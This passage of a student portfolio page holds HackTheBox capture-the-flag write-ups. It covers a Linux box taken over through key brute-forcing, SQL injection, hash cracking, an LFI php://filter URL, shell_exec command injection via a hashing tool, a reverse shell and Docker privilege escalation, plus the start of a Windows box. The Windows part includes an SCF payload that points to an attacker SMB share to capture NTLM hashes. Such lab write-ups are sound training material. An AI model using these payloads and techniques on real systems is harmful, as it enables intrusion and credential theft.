KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a 